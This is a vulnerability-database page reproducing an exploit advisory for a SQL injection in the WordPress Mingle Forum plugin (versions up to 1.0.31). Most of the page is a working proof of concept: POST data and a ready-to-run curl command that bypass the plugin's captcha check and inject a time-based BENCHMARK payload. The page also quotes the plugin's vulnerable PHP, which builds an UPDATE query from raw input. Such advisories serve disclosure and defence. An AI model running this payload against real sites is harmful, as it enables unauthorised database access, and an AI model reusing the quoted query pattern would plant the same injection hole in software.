Lucene search
K

WordPress Mingle Forum plugin <= 1.0.31 SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

WordPress Mingle Forum plugin 1.0.31 SQL Injectio

Code

                                                # Exploit Title: WordPress Mingle Forum plugin &#60;= 1.0.31 SQL Injection Vulnerability
# Date: 2011-09-19
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mingle-forum.1.0.31.zip
# Version: 1.0.31 (tested)
# Note: wpf_str_encrypt($_POST[&#39;wpf_security_code&#39;]) == $_POST[&#39;wpf_security_check&#39;]

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/mingle-forum/wpf-insert.php
 wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.
curl --data &#34;wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&#34; http://www.site.com/wp-content/plugins/mingle-forum/wpf-insert.php

---------------
Vulnerable code
---------------
    if (!isset($_POST[&#39;edit_post_submit&#39;])) {
        $errormsg = apply_filters(&#39;wpwf_check_guestinfo&#39;,&#34;&#34;);
        if ($errormsg != &#34;&#34;) {
            $error = true;
            wp_die($errormsg);
        }
    }

    if($options[&#39;forum_captcha&#39;] == true && !$user_ID){
        include_once(WPFPATH.&#34;captcha/shared.php&#34;);
        $wpf_code = wpf_str_decrypt($_POST[&#39;wpf_security_check&#39;]); // wpf_str_decrypt(&#34;MhWNow==&#34;) == &#34;fail&#34;
            if(($wpf_code == $_POST[&#39;wpf_security_code&#39;]) && (!empty($wpf_code))) {
              // do nothing
            }
            else {
                $error = true;
                $msg = __(&#34;Security code does not match&#34;, &#34;mingleforum&#34;);
                wp_die($msg);
            }
    }

    ...

    if(isset($_POST[&#39;edit_post_submit&#39;])){
        $myReplaceSub = array(&#34;&#39;&#34;, &#34;\\&#34;);
        $subject = str_replace($myReplaceSub, &#34;&#34;, $mingleforum-&#62;input_filter($_POST[&#39;edit_post_subject&#39;]));
        $content = $mingleforum-&#62;input_filter($_POST[&#39;message&#39;]);
        $thread = $mingleforum-&#62;check_parms($_POST[&#39;thread_id&#39;]);
        $edit_post_id = $_POST[&#39;edit_post_id&#39;];

        if($subject == &#34;&#34;){
            $msg .= &#34;&#60;h2&#62;&#34;.__(&#34;An error occured&#34;, &#34;mingleforum&#34;).&#34;&#60;/h2&#62;&#34;;
            $msg .= (&#34;&#60;div id=&#39;error&#39;&#62;&#60;p&#62;&#34;.__(&#34;You must enter a subject&#34;, &#34;mingleforum&#34;).&#34;&#60;/p&#62;&#60;/div&#62;&#34;);
            $error = true;
        }
        elseif($content == &#34;&#34;){
            $msg .= &#34;&#60;h2&#62;&#34;.__(&#34;An error occured&#34;, &#34;mingleforum&#34;).&#34;&#60;/h2&#62;&#34;;
            $msg .= (&#34;&#60;div id=&#39;error&#39;&#62;&#60;p&#62;&#34;.__(&#34;You must enter a message&#34;, &#34;mingleforum&#34;).&#34;&#60;/p&#62;&#60;/div&#62;&#34;);
            $error = true;
        }

        if ($error) wp_die($msg);

        //SECURITY FIX NEEDED &#60;-- actual author&#39;s comment :)
        $sql = (&#34;UPDATE $mingleforum-&#62;t_posts SET text = &#39;$content&#39;, subject = &#39;$subject&#39; WHERE id = $edit_post_id&#34;);
        $wpdb-&#62;query($wpdb-&#62;prepare($sql)); // misusage of prepare statement(s)


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation